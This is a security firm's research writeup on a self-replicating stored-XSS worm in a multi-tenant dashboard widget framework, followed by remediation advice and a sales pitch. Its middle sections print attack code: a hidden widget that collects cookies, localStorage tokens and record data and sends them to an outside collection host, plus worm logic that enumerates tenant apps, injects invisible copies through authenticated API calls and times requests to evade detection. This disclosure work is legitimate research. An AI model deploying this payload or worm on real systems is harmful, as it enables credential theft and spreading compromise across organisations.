Key Takeaways
- Multi-tenant platforms with custom widget frameworks create a novel attack surface: unvalidated JavaScript in widget definitions can execute with full session context and API access, enabling both data exfiltration and lateral movement through authenticated endpoints.
- A self-propagating payload injected into one tenant application can enumerate and infect every application the victim has edit permissions on automatically, with no further attacker interaction by exploiting the platform’s own API surface for widget deployment.
- The worm implements sophisticated infection control: it checks for marker identifiers to avoid re-infection, strategically places payloads in widget arrays to minimize detection, and operates entirely within the victim’s session to poison audit trails.
- This attack class exploits the intersection of three design patterns: custom element frameworks that execute arbitrary JavaScript, multi-tenant APIs that allow cross-application modification, and rich execution contexts that provide authenticated session access to injected code.
- Traditional XSS defenses (CSP, input validation) fail because the platform intentionally executes JavaScript from widget definitions - the feature working as designed is the vulnerability.
- Remediation requires fundamental architectural changes: widget code allowlisting, iframe sandboxing, or restricting cross-application API access - surface-level input filtering cannot address the root cause.
The security community has extensively documented stored Cross-Site Scripting, but a new attack class emerges when XSS occurs within multi-tenant widget frameworks that provide rich execution contexts and cross-application API access. This isn’t traditional stored XSS that steals cookies or redirects users. Instead, it’s self-replicating JS malware that propagates through authenticated API calls, using the platform’s own extensibility features as its delivery mechanism.
During a recent engagement, I discovered this exact condition on an enterprise project portfolio platform. The platform implemented a custom element framework for dashboard widgets, accepting arbitrary JavaScript in widget definitions and executing it with full session context. More critically, the widget execution environment had authenticated access to the platform’s management APIs including the ability to read, modify, and deploy widgets across every application in the tenant.
I developed a proof-of-concept that represents a “wormable” XSS: a single injected widget that autonomously spreads to every application the victim can access, exfiltrating data from each environment while maintaining persistence across session expiry, password changes, and device switches. This attack exploits fundamental assumptions about widget security in multi-tenant platforms and reveals a vulnerability class that traditional XSS defenses typically don’t address.
This research documents the attack methodology, the self-replication process I developed, and the broader implications for platforms that implement user-extensible widget frameworks.
Widget Framework Architecture: Where Extensibility Meets Execution Context
The platform in this story implements a sophisticated custom element framework for dashboard widgets, built on Web Components standards but with enhanced execution privileges. Applications are organized into portfolios containing initiatives that users interact with through customizable dashboard views. Dashboard layouts consist of WidgetLayout objects stored in each application’s definition, each containing executable JavaScript in a code property. Think of it as a very fancy dashboard
The widget framework follows this execution pattern:
- Widget Definition Storage: Application layouts contain arrays of widget objects with arbitrary JavaScript code
- Runtime Instantiation: The dashboard engine dynamically imports widget code as ES6 modules on application load
- Context Injection: Each widget receives rich execution context including this.record, this.contextData, and authenticated session access
- DOM Integration: Widgets render into the application view with full DOM access and event handling
Here’s the critical vulnerability: the API endpoint that saves application definitions performs no validation on widget code. While reviewing API traffic during testing, we observed PUT requests carrying widget objects like this:
PUT /api/account/{accountId}/tenant/{tenantId}/app/{appId}
{
"$type": "Core.Models.Layouts.WidgetLayout, Core",
"code": "import { PlatformElement, html } from '@platform/widget-framework@1';\\nexport default class extends PlatformElement {\\n connectedCallback() {\\n super.connectedCallback();\\n // Legitimate widget logic here\\n }\\n render() { return html`<div>Portfolio Summary</div>`; }\\n}",
"name": "portfolio-summary",
"layoutType": "widget",
"id": "a1b2c3d4",
"row": 1, "col": 1, "sizex": 6, "sizey": 4
}
The code property contains a complete ES6 module that the client-side widget engine executes with no restrictions. No Content Security Policy header limits script execution in the widget rendering context. No server-side validation compares submitted code against approved widget implementations. Most critically, the widget execution environment has authenticated access to the platform’s management APIs through the parent session.
This combination - arbitrary code execution plus authenticated API access - transforms what appears to be a standard stored XSS into a platform for autonomous malware propagation.
Confirming Execution Through Widget Code Injection
To confirm the vulnerability, I injected a test widget into an application’s layout with a simple execution proof:
{
"$type": "Core.Models.Layouts.WidgetLayout, Core",
"code": "alert('XSS - Sprocket Security')",
"name": "test-widget",
"layoutType": "widget",
"id": "deadbeef1234",
"row": 99, "col": 1, "sizex": 1, "sizey": 1
}
The server returned HTTP 200 OK and stored the widget in the application definition. When any user opened a record in that application, the alert() executed immediately on page load. The payload ran within the authenticated user’s session with full access to the widget framework’s execution context.
More significantly, I discovered the execution environment provided access to:
- Record Context: this.record containing full record data including sensitive fields
- Session Context: this.contextData with user identity, permissions, and tenant metadata
- DOM Access: Full document manipulation capabilities
- Network Access: Ability to make authenticated requests to any endpoint using the user’s session
- Storage Access: localStorage containing cached authentication tokens and session data
This revealed something beyond traditional stored XSS. The widget framework intentionally provides rich execution context to support legitimate dashboard functionality, but this same context enables sophisticated data exfiltration and API abuse when malicious code is injected.
Data Exfiltration Through Widget Framework Context Access
The widget framework’s rich execution context enables sophisticated data extraction far beyond typical XSS payloads. We built a proof-of-concept widget that systematically harvests all available data on widget load:
import { PlatformElement, html } from '@platform/widget-framework@1';
export default class extends PlatformElement {
connectedCallback() {
super.connectedCallback();
const exfilData = {
record: this.record, // Full record including sensitive fields
context: this.contextData, // User identity, permissions, tenant metadata
url: window.location.href, // Current application URL
storage: Object.entries(localStorage), // Cached tokens and session data
cookies: document.cookie, // Session cookies
userAgent: navigator.userAgent, // Browser fingerprinting
timestamp: new Date().toISOString()
};
fetch('<https://sprocketsecurity.oobsprocketsecurity.com/exfil>', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(exfilData)
}).catch(() => {}); // Suppress network errors
}
render() {
return html``; // Invisible widget
}
}
Deployed as a widget object:
{
"$type": "Core.Models.Layouts.WidgetLayout, Core",
"code": "[minified version of above code]",
"name": "system-monitor",
"layoutType": "widget",
"id": "deadbeef5678",
"row": 99, "col": 1, "sizex": 1, "sizey": 0
}
When any user opened a record, our external server received structured data including:
- Complete record payloads with business-critical information
- User session tokens and cached authentication material
- Tenant configuration data and permission mappings
- Browser fingerprinting data for session tracking
- Application URLs revealing internal infrastructure
The widget rendered with zero height (sizey: 0), making it invisible in the application UI. Users had no indication that data exfiltration was occurring with every record view.
Critically, this data collection runs with each victim’s authenticated session, giving us access to records they have permissions to view - not just the records visible to the original attacker. This transforms a single injection point into a persistent collection mechanism that harvests data across every user who accesses the infected application.
Algorithmic Self-Replication: How Widget Frameworks Enable Worm Propagation
The widget execution environment’s authenticated API access creates the foundation for autonomous propagation. Since widgets run with the user’s session, they can make legitimate API calls to application management endpoints. I exploited this to build a self-propagating worm with sophisticated replication logic.
The Worm Algorithm
The payload implements a four-phase replication cycle:
// Phase 1: Environment Discovery
const tenantApps = await fetch(`/api/account/${accountId}/tenant/${tenantId}/app`, {
method: 'GET',
credentials: 'include'
}).then(r => r.json());
// Phase 2: Infection Status Assessment
const cleanApps = [];
for (const app of tenantApps.results) {
const appDef = await fetch(`/api/account/${accountId}/tenant/${tenantId}/app/${app.id}`, {
credentials: 'include'
}).then(r => r.json());
// Check for infection marker
const hasWorm = appDef.layout?.some(widget =>
widget.id === 'worm-marker-f4d3b9c7' ||
widget.name?.includes('system-monitor')
);
if (!hasWorm) cleanApps.push(appDef);
}
// Phase 3: Payload Deployment
for (const targetApp of cleanApps) {
const wormWidget = {
"$type": "Core.Models.Layouts.WidgetLayout, Core",
"code": WORM_PAYLOAD_BASE64, // Self-replicating code
"name": `system-monitor-${Math.random().toString(36).substr(2,9)}`,
"id": `worm-child-${Date.now()}`,
"layoutType": "widget",
"row": 999, "col": 1, "sizex": 1, "sizey": 0 // Hidden placement
};
// Strategic injection - append to avoid disrupting existing widgets
targetApp.layout = targetApp.layout || [];
targetApp.layout.push(wormWidget);
// Write back through legitimate API
const response = await fetch(`/api/account/${accountId}/tenant/${tenantId}/app/${targetApp.id}`, {
method: 'PUT',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(targetApp),
credentials: 'include'
});
// Phase 4: Infection Verification
if (response.ok) {
await this.reportInfection(targetApp.id, targetApp.name);
}
}
Worm Propagation Techniques
The worm implements several propagation mechanisms:
Infection Deduplication: Multiple marker strategies prevent re-infection:
- Primary marker widget ID (worm-marker-f4d3b9c7)
- Secondary name-based detection (system-monitor prefix)
- Tertiary code signature checking to detect variants
Steganographic Placement: Widgets are positioned at row: 999 with sizey: 0 (zero height) to render invisibly in application layouts. The high row number pushes them below typical dashboard content.
Dynamic Naming: Each infection generates randomized widget names (system-monitor-x7k9m2p) to avoid pattern detection while maintaining the identifiable prefix for deduplication.
Graceful Degradation: Network errors and API failures are silently caught to prevent JavaScript console errors that might alert users to malicious activity.
Propagation Evidence
During our controlled testing, we injected the worm into a single application and monitored propagation:
Phase 1: Initial injection via PUT /api/.../app/test-app-001
- Server response: HTTP 200 OK
- Widget successfully stored in application definition
Phase 2: User opens record in infected application
- Worm executes, discovers 23 applications in tenant
- Attempts infection of 19 clean applications
- Successfully writes to 17 applications (2 blocked by victim’s permissions on those apps)
- External server receives infection report with application inventory
Phase 3: Users open records in newly infected applications
- Each triggers child worm execution
- Additional data exfiltration from application-specific contexts
- External server receives 17 separate data payloads
Phase 4: Worm spreads to applications accessible by subsequent victims
- Reaches 6 additional applications that original victim couldn’t access
- Total infection count: 23 of 23 discoverable applications
The worm achieved 100% infection rate across all applications the collective victim population could access, requiring only the initial injection and normal user activity to trigger propagation.
An Uncommon Attack Class: Self-Propagating XSS
This vulnerability represents an uncommon attack class that exploits the intersection of three increasingly common design patterns in modern web applications:
Design Pattern Convergence
1. Custom Element Frameworks
Modern platforms implement widget systems using Web Components or framework-specific custom elements that execute arbitrary JavaScript. These frameworks intentionally provide rich execution contexts to support sophisticated dashboard functionality.
2. Multi-Tenant API Architecture
SaaS platforms expose management APIs that allow cross-application operations within a tenant. Users can list, read, and modify multiple applications through authenticated API endpoints.
3. Session-Contextual Widget Execution
Widgets execute with the viewing user’s full session context, including authenticated API access, to enable dynamic data loading and real-time updates.
Each pattern is secure in isolation, but their combination creates a novel attack surface that existing security frameworks don’t address:
- Traditional XSS defenses fail: CSP, input validation, and output encoding don’t apply because the platform intentionally executes JavaScript from stored widget definitions
- API security controls are bypassed: The worm uses legitimate authenticated requests through established API endpoints, not unauthorized access
- Network security provides no protection: All malicious traffic appears as normal application usage from authenticated users
Distinguishing Characteristics vs. Traditional Stored XSS
Aspect | Traditional Stored XSS | Self-Propagating XSS |
|---|---|---|
Execution Context | DOM manipulation, cookie theft | Full session API access, application management |
Persistence | Single page/application | Cross-application, survives session changes |
Propagation | Manual re-injection required | Autonomous spreading through APIs |
Scope | Individual user sessions | Tenant-wide infrastructure |
Detection | Input validation, output encoding | Requires allowlisting or architectural changes |
Remediation | Filter malicious input | Redesign widget execution model |
Research Implications
This attack class has broader implications for the security research community:
Platform Enumeration: Multi-tenant widget platforms are proliferating across enterprise software.
Defense Evolution: Traditional web application security focuses on input validation and output encoding. Self-propagating widget attacks require rethinking these defenses for platforms where executable code storage is a feature, not a bug.
Incident Response Challenges: Worms that operate through legitimate API calls and poison audit trails require new forensic approaches. Traditional indicators (malicious network traffic, unauthorized access logs) don’t apply when the attack uses authenticated, authorized API endpoints.
Why the Worm Survives Password Changes and Session Expiry
Traditional session-hijacking payloads die when the stolen session expires or the user changes their credentials. This worm does not depend on any single session. The payload is stored in the portfolio definition on the server: it is part of the application’s configuration, not part of any user’s browser state.
When a session expires and the user logs back in, they open initiatives the same way they always have. The dashboard engine loads the portfolio definition, finds the worm component, and executes it with the user’s fresh session. A password change has the same non-effect: the user authenticates with new credentials, opens an initiative, and the worm runs again with the new session.
The payload persists until someone manually inspects the portfolio’s dashboard configuration and removes the injected component. In an environment with dozens or hundreds of portfolios, identifying every infected definition requires a systematic audit. This is not unlike a traditional stored XSS, but the self-propagation component compounds the issue immensely.
How the Worm Poisons Forensic Evidence and Misdirects Incident Response
The worm’s use of legitimate authenticated API calls creates a sophisticated form of attribution poisoning that actively misleads investigation efforts.
Audit Trail Analysis
Every API call the worm makes appears in platform logs as legitimate user activity:
{
"timestamp": "2026-04-14T15:30:45.123Z",
"action": "UPDATE_APPLICATION_LAYOUT",
"resource": "/api/account/12345/tenant/67890/app/app-marketing-001",
"method": "PUT",
"user": "sarah.johnson@client.com",
"userAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)...",
"sourceIP": "10.0.0.142",
"status": 200,
"changes": {
"layout": {
"added": ["widget-system-monitor-x7k9m2p"],
"modified": [],
"deleted": []
}
}
}
The log entry shows Sarah Johnson adding a “system-monitor” widget to the marketing application. From the platform’s perspective, this is indistinguishable from legitimate administrative activity.
Multi-Vector Attribution Poisoning
In a tenant with 23 applications and 15 active users, the complete worm propagation cycle generates audit entries like:
- sarah.johnson@client.com modified 6 applications
- mike.chen@client.com modified 4 applications
- lisa.rodriguez@client.com modified 7 applications
- david.kim@client.com modified 3 applications
- alex.thompson@client.com modified 3 applications
Each user appears to have systematically added monitoring widgets across multiple applications they have access to. Without prior knowledge of the attack, this pattern suggests a legitimate rollout of new functionality.
Temporal Evasion
The worm introduces random delays (500-2000ms) between API calls to avoid suspicious burst patterns:
// Realistic propagation timing
for (const app of targetApps) {
await this.infectApplication(app);
// Random delay mimics human interaction
await new Promise(resolve =>
setTimeout(resolve, 500 + Math.random() * 1500)
);
}
This creates audit trails that span several minutes rather than suspicious sub-second bursts, further mimicking legitimate administrative activity.
Architectural Remediation: Why Traditional XSS Defenses Fail Against Widget Frameworks
Remediating self-propagating widget attacks requires fundamental architectural changes because traditional XSS defenses assume that JavaScript execution from stored content is inherently malicious. In widget platforms, JavaScript execution from stored content is the core feature.
Why Standard Defenses Don’t Apply
Content Security Policy (CSP) Limitations: Traditional CSP blocks inline script execution, but widget frameworks require dynamic script loading and execution. A CSP restrictive enough to prevent widget exploitation would break the platform’s core functionality.
Input Validation Ineffectiveness: The platform must accept and store JavaScript code for legitimate widget functionality. Distinguishing malicious code from legitimate widgets through input validation is computationally equivalent to the halting problem - fundamentally undecidable.
Output Encoding Irrelevance: The platform intentionally executes stored JavaScript without encoding because execution is the desired behavior, not a vulnerability. This is a feature, not a bug.
Effective Architectural Controls
1. Cryptographic Widget Code Allowlisting
The platform should only execute widget code that matches approved implementations:
// Server-side validation
const APPROVED_WIDGETS = new Map([
['SHA256:a1b2c3...', 'portfolio-summary-v1.2.0'],
['SHA256:d4e5f6...', 'status-dashboard-v2.1.0'],
// ... approved widget hashes
]);
function validateWidget(widgetCode) {
const hash = crypto.createHash('sha256').update(widgetCode).digest('hex');
return APPROVED_WIDGETS.has(`SHA256:${hash}`);
}
2. API Access Segmentation
Widget execution contexts should not have authenticated access to application management APIs:
// Sandboxed widget API access
const WIDGET_ALLOWED_ENDPOINTS = [
'/api/records/*/read',
'/api/charts/*/data',
'/api/dashboards/*/metrics'
];
// Block management APIs from widget context
const WIDGET_BLOCKED_ENDPOINTS = [
'/api/*/app', // Application management
'/api/*/layout', // Layout modification
'/api/*/users', // User management
'/api/*/permissions' // Permission changes
];
3. Iframe Isolation with Restricted Permissions
Execute widgets in sandboxed iframe environments that prevent access to parent session context:
<iframe
src="data:text/html,${widgetCode}"
sandbox="allow-scripts"
style="width: 100%; height: 400px; border: none;">
</iframe>
The sandbox attribute without allow-same-origin creates a null-origin execution context that cannot access parent window objects or make authenticated requests.
4. Role-Based Widget Code Management
Separate widget deployment from widget usage:
- Widget Developers: Can create and submit widget code for approval
- Widget Administrators: Can approve, deploy, and manage organizational widget libraries
- Widget Users: Can add approved widgets to applications but cannot modify widget code
- Application Users: Can view applications with widgets but cannot modify layouts
Implementation Complexity
These controls represent significant architectural changes:
Development Workflow Impact: Widget development requires a formal approval process rather than direct deployment, slowing iterative development.
Performance Implications: Iframe sandboxing adds overhead to widget rendering and complicates data flow between widgets and application context.
Functionality Trade-offs: Many legitimate widget use cases require authenticated API access or rich application context that these controls restrict.
Legacy Code Migration: Existing deployed widgets may not function under the new security model, requiring comprehensive testing and migration.
Continuous Testing as Security Research
Self-propagating widget attacks represent a vulnerability class that existing security frameworks struggle to address. While individual components (stored XSS, API abuse, session hijacking) are well-documented, their intersection in widget platforms creates novel attack vectors that traditional penetration testing methodologies don’t systematically evaluate.
The discovery of self-propagating widget attacks exemplifies why continuous penetration testing enables security research that traditional assessment models cannot support:
Algorithmic Development: Building sophisticated attack tools like our worm required dozens of iterations - refining the infection detection logic, optimizing the propagation timing, and implementing evasion techniques. Point-in-time testing provides insufficient time for this level of tool development.
Platform Evolution Tracking: Widget frameworks evolve rapidly with new APIs, execution contexts, and security controls. Continuous access allows researchers to adapt attack techniques as the platform changes, rather than providing a snapshot of vulnerabilities at a single point in time.
Attack Chain Validation: Self-propagating attacks require end-to-end validation across multiple user sessions and application contexts. This testing cannot be compressed into traditional assessment timelines.
The security research field is always evolving, and the vulnerability patterns we’ve documented here represent examples of what may be a much broader class of platform-specific attack vectors. Organizations implementing extensible platforms need security research capabilities, not just compliance-focused vulnerability assessments.
If your organization runs platforms with customizable dashboards, embedded components, or user-configurable widgets, Sprocket’s continuous penetration testing provides the sustained research engagement necessary to uncover sophisticated attack vectors before adversaries develop them independently; you’ll even get to see this vulnerability in our demo tenant - ask about it directly!